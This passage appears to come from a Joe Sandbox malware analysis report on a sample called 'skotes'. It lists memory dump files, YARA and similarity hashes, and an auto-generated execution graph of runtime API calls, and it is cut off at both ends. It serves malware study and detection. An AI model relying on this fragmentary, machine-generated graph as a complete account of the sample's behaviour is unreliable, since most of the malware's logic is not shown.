                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: _strrchr
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3213747228-0
                                                                                                                                                                                                                                                              • Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
                                                                                                                                                                                                                                                              • Instruction ID: 35375e206fb7b0f9577f46d0031c56a5a4a73f87133e589f869824868788a02b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4BB103329046469FDB15CF28C881FEEBFE9EF56360F14416AE855EB243D6389E01CB60
                                                                                                                                                                                                                                                              Function 00A9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Xtime_diff_to_millis2_xtime_get
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 531285432-0
                                                                                                                                                                                                                                                              • Opcode ID: abece81677f720d874c72fe1032ea51bba2472d0a07afb8517be27802e3c6bd3
                                                                                                                                                                                                                                                              • Instruction ID: b9c6d3e3c2334f0d89ecafa214742424dab5756fb5cbd53d47e2c26d63b8b3e2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: abece81677f720d874c72fe1032ea51bba2472d0a07afb8517be27802e3c6bd3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 39213175A01619AFDF00EFA4DE819BEB7B9EF08720F100029F601B7291DB309D019BA0

                                                                                                                                                                                                                                                              Execution Graph

                                                                                                                                                                                                                                                              Execution Coverage:0.9%
                                                                                                                                                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                              Signature Coverage:0%
                                                                                                                                                                                                                                                              Total number of Nodes:634
                                                                                                                                                                                                                                                              Total number of Limit Nodes:4
                                                                                                                                                                                                                                                              execution_graph 9702 ab6629 9705 ab64c7 9702->9705 9706 ab64d5 __cftof 9705->9706 9707 ab6520 9706->9707 9710 ab652b 9706->9710 9709 ab652a 9716 aba302 GetPEB 9710->9716 9712 ab6535 9713 ab653a GetPEB 9712->9713 9715 ab654a __cftof 9712->9715 9713->9715 9714 ab6562 ExitProcess 9715->9714 9717 aba31c __cftof 9716->9717 9717->9712 9723 a85cad 9725 a85caf shared_ptr __cftof 9723->9725 9724 a85d17 shared_ptr __floor_pentium4 9725->9724 9726 a85c10 3 API calls 9725->9726 9727 a866ac 9726->9727 9739 a85c10 9727->9739 9729 a866b1 9757 a822c0 9729->9757 9731 a866c9 shared_ptr 9732 a85c10 3 API calls 9731->9732 9733 a8673d 9732->9733 9734 a822c0 3 API calls 9733->9734 9736 a86757 shared_ptr 9734->9736 9735 a85c10 3 API calls 9735->9736 9736->9735 9737 a86852 shared_ptr __floor_pentium4 9736->9737 9738 a822c0 3 API calls 9736->9738 9738->9736 9740 a85c54 9739->9740 9760 a84b30 9740->9760 9742 a85c7b shared_ptr __cftof 9743 a85d17 shared_ptr __floor_pentium4 9742->9743 9744 a85c10 3 API calls 9742->9744 9743->9729 9745 a866ac 9744->9745 9746 a85c10 3 API calls 9745->9746 9747 a866b1 9746->9747 9748 a822c0 3 API calls 9747->9748 9749 a866c9 shared_ptr 9748->9749 9750 a85c10 3 API calls 9749->9750 9751 a8673d 9750->9751 9752 a822c0 3 API calls 9751->9752 9754 a86757 shared_ptr 9752->9754 9753 a85c10 3 API calls 9753->9754 9754->9753 9755 a86852 shared_ptr __floor_pentium4 9754->9755 9756 a822c0 3 API calls 9754->9756 9755->9729 9756->9754 9881 a82280 9757->9881 9762 a84ce5 9760->9762 9763 a84b92 9760->9763 9762->9742 9763->9762 9764 ab6da6 9763->9764 9765 ab6db4 9764->9765 9767 ab6dc2 9764->9767 9769 ab6d19 9765->9769 9767->9763 9774 ab690a 9769->9774 9773 ab6d3d 9773->9763 9775 ab692a 9774->9775 9776 ab6921 9774->9776 9775->9776 9788 aba671 9775->9788 9782 ab6d52 9776->9782 9783 ab6d8f 9782->9783 9784 ab6d5f 9782->9784 9873 abb67d 9783->9873 9785 ab6d6e 9784->9785 9868 abb6a1 9784->9868 9785->9773 9789 aba67b __dosmaperr ___free_lconv_mon 9788->9789 9790 ab694a 9789->9790 9801 ab8bec 9789->9801 9793 abb5fb 9790->9793 9794 abb60e 9793->9794 9795 ab6960 9793->9795 9794->9795 9827 abf5ab 9794->9827 9797 abb628 9795->9797 9798 abb63b 9797->9798 9799 abb650 9797->9799 9798->9799 9834 abe6b1 9798->9834 9799->9776 9802 ab8bf1 __cftof 9801->9802 9806 ab8bfc __cftof 9802->9806 9807 abd634 9802->9807 9821 ab65ed 9806->9821 9809 abd640 __cftof __dosmaperr 9807->9809 9808 abd69c __dosmaperr ___std_exception_copy 9808->9806 9809->9808 9810 abd81b __dosmaperr 9809->9810 9811 abd726 9809->9811 9813 abd751 __cftof 9809->9813 9812 ab65ed __cftof 3 API calls 9810->9812 9811->9813 9824 abd62b 9811->9824 9814 abd82e 9812->9814 9813->9808 9816 aba671 __cftof 3 API calls 9813->9816 9819 abd7a5 9813->9819 9816->9819 9818 abd62b __cftof 3 API calls 9818->9813 9819->9808 9820 aba671 __cftof 3 API calls 9819->9820 9820->9808 9822 ab64c7 __cftof 3 API calls 9821->9822 9823 ab65fe 9822->9823 9825 aba671 __cftof 3 API calls 9824->9825 9826 abd630 9825->9826 9826->9818 9828 abf5b7 __dosmaperr 9827->9828 9829 aba671 __cftof 3 API calls 9828->9829 9831 abf5c0 __cftof __dosmaperr 9829->9831 9830 abf606 9830->9795 9831->9830 9832 ab8bec __cftof 3 API calls 9831->9832 9833 abf62b 9832->9833 9835 aba671 __cftof 3 API calls 9834->9835 9836 abe6bb 9835->9836 9839 abe5c9 9836->9839 9838 abe6c1 9838->9799 9843 abe5d5 __cftof __dosmaperr ___free_lconv_mon 9839->9843 9840 abe5f6 9840->9838 9841 ab8bec __cftof 3 API calls 9842 abe668 9841->9842 9844 abe6a4 9842->9844 9848 aba72e 9842->9848 9843->9840 9843->9841 9844->9838 9852 aba739 __dosmaperr ___free_lconv_mon 9848->9852 9849 ab8bec __cftof 3 API calls 9850 aba7c7 9849->9850 9851 aba7be 9853 abe4b0 9851->9853 9852->9849 9852->9851 9854 abe5c9 __cftof 3 API calls 9853->9854 9855 abe4c3 9854->9855 9860 abe259 9855->9860 9857 abe4cb __cftof 9859 abe4dc __cftof __dosmaperr ___free_lconv_mon 9857->9859 9863 abe6c4 9857->9863 9859->9844 9861 ab690a __cftof GetPEB ExitProcess GetPEB 9860->9861 9862 abe26b 9861->9862 9862->9857 9864 abe259 __cftof GetPEB ExitProcess GetPEB 9863->9864 9867 abe6e4 __cftof 9864->9867 9865 abe75a __cftof __floor_pentium4 9865->9859 9866 abe32f __cftof GetPEB ExitProcess GetPEB 9866->9865 9867->9865 9867->9866 9869 ab690a __cftof 3 API calls 9868->9869 9870 abb6be 9869->9870 9872 abb6ce __floor_pentium4 9870->9872 9878 abf1bf 9870->9878 9872->9785 9874 aba671 __cftof 3 API calls 9873->9874 9875 abb688 9874->9875 9876 abb5fb __cftof 3 API calls 9875->9876 9877 abb698 9876->9877 9877->9785 9879 ab690a __cftof 3 API calls 9878->9879 9880 abf1df __cftof __freea __floor_pentium4 9879->9880 9880->9872 9882 a82296 9881->9882 9885 ab87f8 9882->9885 9888 ab7609 9885->9888 9887 a822a4 9887->9731 9889 ab7649 9888->9889 9890 ab7631 __dosmaperr ___std_exception_copy __floor_pentium4 9888->9890 9889->9890 9891 ab690a __cftof 3 API calls 9889->9891 9890->9887 9892 ab7661 9891->9892 9894 ab7bc4 9892->9894 9896 ab7bd5 9894->9896 9895 ab7be4 __dosmaperr ___std_exception_copy 9895->9890 9896->9895 9901 ab8168 9896->9901 9906 ab7dc2 9896->9906 9911 ab7de8 9896->9911 9921 ab7f36 9896->9921 9902 ab8178 9901->9902 9903 ab8171 9901->9903 9902->9896 9930 ab7b50 9903->9930 9905 ab8177 9905->9896 9907 ab7dcb 9906->9907 9908 ab7dd2 9906->9908 9909 ab7b50 3 API calls 9907->9909 9908->9896 9910 ab7dd1 9909->9910 9910->9896 9913 ab7def 9911->9913 9914 ab7e09 __dosmaperr ___std_exception_copy 9911->9914 9912 ab7f69 9919 ab7f77 9912->9919 9920 ab7f8b 9912->9920 9948 ab8241 9912->9948 9913->9912 9913->9914 9916 ab7fa2 9913->9916 9913->9919 9914->9896 9916->9920 9944 ab8390 9916->9944 9919->9920 9952 ab86ea 9919->9952 9920->9896 9922 ab7f69 9921->9922 9923 ab7f4f 9921->9923 9924 ab8241 3 API calls 9922->9924 9926 ab7f8b 9922->9926 9929 ab7f77 9922->9929 9923->9922 9925 ab7fa2 9923->9925 9923->9929 9924->9929 9925->9926 9927 ab8390 3 API calls 9925->9927 9926->9896 9927->9929 9928 ab86ea 3 API calls 9928->9926 9929->9926 9929->9928 9931 ab7b62 __dosmaperr 9930->9931 9934 ab8ab6 9931->9934 9933 ab7b85 __dosmaperr 9933->9905 9935 ab8ad1 9934->9935 9938 ab8868 9935->9938 9937 ab8adb 9937->9933 9939 ab887a 9938->9939 9940 ab690a __cftof 3 API calls 9939->9940 9943 ab888f __dosmaperr ___std_exception_copy 9939->9943 9942 ab88bf 9940->9942 9941 ab6d52 3 API calls 9941->9942 9942->9941 9942->9943 9943->9937 9946 ab83ab 9944->9946 9945 ab83dd 9945->9919 9946->9945 9956 abc88e 9946->9956 9949 ab825a 9948->9949 9963 abd3c8 9949->9963 9951 ab830d 9951->9919 9951->9951 9954 ab875d __floor_pentium4 9952->9954 9955 ab8707 9952->9955 9953 abc88e __cftof 3 API calls 9953->9955 9954->9920 9955->9953 9955->9954 9959 abc733 9956->9959 9958 abc8a6 9958->9945 9960 abc743 9959->9960 9961 ab690a __cftof 3 API calls 9960->9961 9962 abc748 __cftof __dosmaperr ___std_exception_copy 9960->9962 9961->9962 9962->9958 9964 abd3d8 __dosmaperr ___std_exception_copy 9963->9964 9967 abd3ee 9963->9967 9964->9951 9965 abd485 9969 abd4ae 9965->9969 9970 abd4e4 9965->9970 9966 abd48a 9976 abcbdf 9966->9976 9967->9964 9967->9965 9967->9966 9972 abd4cc 9969->9972 9973 abd4b3 9969->9973 9993 abcef8 9970->9993 9989 abd0e2 9972->9989 9982 abd23e 9973->9982 9977 abcbf1 9976->9977 9978 ab690a __cftof 3 API calls 9977->9978 9979 abcc05 9978->9979 9980 abcef8 3 API calls 9979->9980 9981 abcc0d __alldvrm __cftof __dosmaperr ___std_exception_copy _strrchr 9979->9981 9980->9981 9981->9964 9984 abd26c 9982->9984 9983 abd2de 10000 abcf9a 9983->10000 9984->9983 9986 abd2b7 9984->9986 9988 abd2a5 9984->9988 9997 abd16d 9986->9997 9988->9964 9990 abd10f 9989->9990 9991 abd14e 9990->9991 9992 abd16d 3 API calls 9990->9992 9991->9964 9992->9991 9994 abcf10 9993->9994 9995 abcf75 9994->9995 9996 abcf9a 3 API calls 9994->9996 9995->9964 9996->9995 9998 ab690a __cftof GetPEB ExitProcess GetPEB 9997->9998 9999 abd183 __cftof 9998->9999 9999->9988 10001 abcfab 10000->10001 10002 ab690a __cftof GetPEB ExitProcess GetPEB 10001->10002 10003 abcfb9 __dosmaperr ___std_exception_copy 10001->10003 10004 abcfda ___std_exception_copy 10002->10004 10003->9988 10005 a820a0 10008 a9c68b 10005->10008 10007 a820ac 10011 a9c3d5 10008->10011 10010 a9c69b 10010->10007 10012 a9c3eb 10011->10012 10013 a9c3e1 10011->10013 10012->10010 10014 a9c3be 10013->10014 10015 a9c39e 10013->10015 10024 a9cd0a 10014->10024 10015->10012 10020 a9ccd5 10015->10020 10018 a9c3d0 10018->10010 10021 a9c3b7 10020->10021 10022 a9cce3 InitializeCriticalSectionEx 10020->10022 10021->10010 10022->10021 10025 a9cd1f RtlInitializeConditionVariable 10024->10025 10025->10018 10357 a83fe0 10358 a84022 10357->10358 10359 a8408c 10358->10359 10360 a840d2 10358->10360 10363 a84035 __floor_pentium4 10358->10363 10364 a835e0 10359->10364 10370 a83ee0 10360->10370 10365 a83616 10364->10365 10369 a8364e Concurrency::cancel_current_task shared_ptr __floor_pentium4 10365->10369 10376 a82ce0 10365->10376 10367 a8369e 10367->10369 10385 a82c00 10367->10385 10369->10363 10371 a83f48 10370->10371 10372 a83f1e 10370->10372 10373 a83f58 10371->10373 10374 a82c00 3 API calls 10371->10374 10372->10363 10373->10363 10375 a83f7f 10374->10375 10375->10363 10377 a82d1d 10376->10377 10378 a9bedf InitOnceExecuteOnce 10377->10378 10379 a82d46 10378->10379 10380 a82d88 10379->10380 10381 a82d51 __floor_pentium4 10379->10381 10392 a9bef7 10379->10392 10383 a82440 3 API calls 10380->10383 10381->10367 10384 a82d9b 10383->10384 10384->10367 10386 a82c0e 10385->10386 10405 a9b847 10386->10405 10388 a82c42 10389 a82c49 10388->10389 10411 a82c80 10388->10411 10389->10369 10391 a82c58 Concurrency::cancel_current_task 10393 a9bf03 Concurrency::cancel_current_task 10392->10393 10394 a9bf6a 10393->10394 10395 a9bf73 10393->10395 10399 a9be7f 10394->10399 10397 a82ae0 4 API calls 10395->10397 10398 a9bf6f 10397->10398 10398->10380 10400 a9cc31 InitOnceExecuteOnce 10399->10400 10401 a9be97 10400->10401 10402 a9be9e 10401->10402 10403 ab6cbb 3 API calls 10401->10403 10402->10398 10404 a9bea7 10403->10404 10404->10398 10406 a9b854 10405->10406 10409 a9b873 Concurrency::details::_Reschedule_chore 10405->10409 10414 a9cb77 10406->10414 10408 a9b864 10408->10409 10416 a9b81e 10408->10416 10409->10388 10412 a9b7fb TpReleaseWork 10411->10412 10413 a82cb2 shared_ptr 10412->10413 10413->10391 10415 a9cb92 CreateThreadpoolWork 10414->10415 10415->10408 10417 a9b827 Concurrency::details::_Reschedule_chore 10416->10417 10420 a9cdcc 10417->10420 10419 a9b841 10419->10409 10421 a9cde1 TpPostWork 10420->10421 10421->10419 10432 a84120 10433 a8416a 10432->10433 10434 a83ee0 3 API calls 10433->10434 10435 a841b2 Concurrency::details::_ContextCallback::_CallInContext __floor_pentium4 10433->10435 10434->10435 10330 a89ba5 10331 a89ba7 10330->10331 10332 a85c10 3 API calls 10331->10332 10333 a89cb1 10332->10333 10334 a88b30 3 API calls 10333->10334 10335 a89cc2 10334->10335 10026 a89ab8 10028 a89acc 10026->10028 10029 a89b08 10028->10029 10030 a85c10 3 API calls 10029->10030 10031 a89b7c 10030->10031 10038 a88b30 10031->10038 10033 a89b8d 10034 a85c10 3 API calls 10033->10034 10035 a89cb1 10034->10035 10036 a88b30 3 API calls 10035->10036 10037 a89cc2 10036->10037 10039 a88b7c 10038->10039 10040 a85c10 3 API calls 10039->10040 10042 a88b97 shared_ptr 10040->10042 10041 a88d01 shared_ptr __floor_pentium4 10041->10033 10042->10041 10043 a85c10 3 API calls 10042->10043 10045 a88d9a shared_ptr 10043->10045 10044 a88e7e shared_ptr __floor_pentium4 10044->10033 10045->10044 10046 a85c10 3 API calls 10045->10046 10047 a88f1a shared_ptr __floor_pentium4 10046->10047 10047->10033 10287 a8cc79 10288 a8cc84 shared_ptr 10287->10288 10289 a8ccda shared_ptr __floor_pentium4 10288->10289 10290 a85c10 3 API calls 10288->10290 10291 a8ce9d 10290->10291 10293 a8ca70 10291->10293 10295 a8cadd 10293->10295 10294 a8ccda shared_ptr __floor_pentium4 10296 a85c10 3 API calls 10295->10296 10301 a8cc87 10295->10301 10297 a8ccf9 10296->10297 10303 a89030 10297->10303 10299 a85c10 3 API calls 10300 a8ce9d 10299->10300 10302 a8ca70 3 API calls 10300->10302 10301->10294 10301->10299 10304 a8907f 10303->10304 10305 a85c10 3 API calls 10304->10305 10306 a8909a shared_ptr __floor_pentium4 10305->10306 10306->10301 10336 ab8bbe 10337 ab8868 3 API calls 10336->10337 10338 ab8bdc 10337->10338 10048 a842b0 10051 a83ac0 10048->10051 10050 a842bb shared_ptr 10052 a83af9 10051->10052 10055 a83c38 10052->10055 10057 a83b39 __Cnd_destroy_in_situ shared_ptr __Mtx_destroy_in_situ 10052->10057 10061 a832d0 10052->10061 10053 a832d0 5 API calls 10058 a83c5f 10053->10058 10055->10053 10055->10058 10056 a83c68 10056->10050 10057->10050 10058->10056 10080 a83810 10058->10080 10084 a9c6ac 10061->10084 10063 a8336b 10090 a9c26a 10063->10090 10065 a8333c __Mtx_unlock 10067 a9c26a 4 API calls 10065->10067 10070 a83350 __floor_pentium4 10065->10070 10068 a83377 10067->10068 10071 a9c6ac GetSystemTimePreciseAsFileTime 10068->10071 10069 a83314 10069->10063 10069->10065 10087 a9bd4c 10069->10087 10070->10055 10072 a833af 10071->10072 10073 a9c26a 4 API calls 10072->10073 10074 a833b6 __Cnd_broadcast 10072->10074 10073->10074 10075 a9c26a 4 API calls 10074->10075 10076 a833d7 __Mtx_unlock 10074->10076 10075->10076 10077 a9c26a 4 API calls 10076->10077 10078 a833eb 10076->10078 10079 a8340e 10077->10079 10078->10055 10079->10055 10081 a8381c 10080->10081 10134 a82440 10081->10134 10094 a9c452 10084->10094 10086 a9c6b9 10086->10069 10111 a9bb72 10087->10111 10089 a9bd5c 10089->10069 10091 a9c292 10090->10091 10092 a9c274 10090->10092 10091->10091 10092->10091 10117 a9c297 10092->10117 10095 a9c4a8 10094->10095 10097 a9c47a __floor_pentium4 10094->10097 10095->10097 10100 a9cf6b 10095->10100 10097->10086 10098 a9c4fd __Xtime_diff_to_millis2 10098->10097 10099 a9cf6b _xtime_get GetSystemTimePreciseAsFileTime 10098->10099 10099->10098 10101 a9cf7a 10100->10101 10103 a9cf87 __aulldvrm 10100->10103 10101->10103 10104 a9cf44 10101->10104 10103->10098 10107 a9cbea 10104->10107 10108 a9cbfb GetSystemTimePreciseAsFileTime 10107->10108 10109 a9cc07 10107->10109 10108->10109 10109->10103 10112 a9bb9c 10111->10112 10113 a9cf6b _xtime_get GetSystemTimePreciseAsFileTime 10112->10113 10116 a9bba4 __Xtime_diff_to_millis2 __floor_pentium4 10112->10116 10114 a9bbcf __Xtime_diff_to_millis2 10113->10114 10115 a9cf6b _xtime_get GetSystemTimePreciseAsFileTime 10114->10115 10114->10116 10115->10116 10116->10089 10120 a82ae0 10117->10120 10119 a9c2ae Concurrency::cancel_current_task 10127 a9bedf 10120->10127 10122 a82af4 __dosmaperr 10122->10119 10123 aba671 __cftof 3 API calls 10122->10123 10126 ab6ccc 10123->10126 10124 ab8bec __cftof 3 API calls 10125 ab6cf6 10124->10125 10126->10124 10130 a9cc31 10127->10130 10131 a9cc3f InitOnceExecuteOnce 10130->10131 10133 a9bef2 10130->10133 10131->10133 10133->10122 10137 a9b5d6 10134->10137 10136 a82472 10139 a9b5f1 Concurrency::cancel_current_task 10137->10139 10138 ab8bec __cftof 3 API calls 10140 a9b69f 10138->10140 10139->10138 10141 a9b658 __cftof __floor_pentium4 10139->10141 10141->10136 10422 a855f0 10423 a85610 10422->10423 10423->10423 10424 a822c0 3 API calls 10423->10424 10425 a85710 __floor_pentium4 10423->10425 10424->10423 10426 a843f0 10427 a9bedf InitOnceExecuteOnce 10426->10427 10428 a8440a 10427->10428 10429 a84411 10428->10429 10430 ab6cbb 3 API calls 10428->10430 10431 a84424 10430->10431 10468 a83970 10469 a9c68b __Mtx_init_in_situ 2 API calls 10468->10469 10470 a839a7 10469->10470 10471 a9c68b __Mtx_init_in_situ 2 API calls 10470->10471 10472 a839e6 10471->10472 10473 a82170 10476 a9c6fc 10473->10476 10475 a8217a 10477 a9c724 10476->10477 10478 a9c70c 10476->10478 10477->10475 10478->10477 10480 a9cfbe 10478->10480 10481 a9ccd5 __Mtx_init_in_situ InitializeCriticalSectionEx 10480->10481 10482 a9cfd0 10481->10482 10482->10478 10307 a84276 10308 a82410 4 API calls 10307->10308 10309 a8427f 10308->10309 10483 a85f76 10485 a85f81 shared_ptr 10483->10485 10484 a85ffe shared_ptr __floor_pentium4 10485->10484 10486 a85c10 3 API calls 10485->10486 10487 a866ac 10486->10487 10488 a85c10 3 API calls 10487->10488 10489 a866b1 10488->10489 10490 a822c0 3 API calls 10489->10490 10491 a866c9 shared_ptr 10490->10491 10492 a85c10 3 API calls 10491->10492 10493 a8673d 10492->10493 10494 a822c0 3 API calls 10493->10494 10496 a86757 shared_ptr 10494->10496 10495 a85c10 3 API calls 10495->10496 10496->10495 10497 a86852 shared_ptr __floor_pentium4 10496->10497 10498 a822c0 3 API calls 10496->10498 10498->10496 10142 a83c8e 10143 a83c98 10142->10143 10145 a83ca5 10143->10145 10150 a82410 10143->10150 10146 a83810 3 API calls 10145->10146 10147 a83ccf 10146->10147 10148 a83810 3 API calls 10147->10148 10149 a83cdb shared_ptr 10148->10149 10151 a82424 10150->10151 10154 a9b52d 10151->10154 10162 ab3aed 10154->10162 10156 a8242a 10156->10145 10157 a9b5a5 ___std_exception_copy 10169 a9b1ad 10157->10169 10158 a9b598 10165 a9af56 10158->10165 10173 ab4f29 10162->10173 10164 a9b555 10164->10156 10164->10157 10164->10158 10166 a9af9f ___std_exception_copy 10165->10166 10168 a9afb2 shared_ptr 10166->10168 10179 a9b39f 10166->10179 10168->10156 10170 a9b1d8 10169->10170 10172 a9b1e1 shared_ptr 10169->10172 10171 a9b39f 4 API calls 10170->10171 10171->10172 10172->10156 10174 ab4f2e __cftof 10173->10174 10174->10164 10175 abd634 __cftof 3 API calls 10174->10175 10178 ab8bfc __cftof 10174->10178 10175->10178 10176 ab65ed __cftof 3 API calls 10177 ab8c2f 10176->10177 10178->10176 10180 a9bedf InitOnceExecuteOnce 10179->10180 10181 a9b3e1 10180->10181 10182 a9b3e8 10181->10182 10190 ab6cbb 10181->10190 10182->10168 10191 ab6cc7 __dosmaperr 10190->10191 10192 aba671 __cftof 3 API calls 10191->10192 10195 ab6ccc 10192->10195 10193 ab8bec __cftof 3 API calls 10194 ab6cf6 10193->10194 10195->10193 10205 a820c0 10206 a9c68b __Mtx_init_in_situ 2 API calls 10205->10206 10207 a820cc 10206->10207 10208 a82ec0 10209 a82f7e GetCurrentThreadId 10208->10209 10210 a82f06 10208->10210 10211 a82f94 10209->10211 10212 a82fef 10209->10212 10213 a9c6ac GetSystemTimePreciseAsFileTime 10210->10213 10211->10212 10218 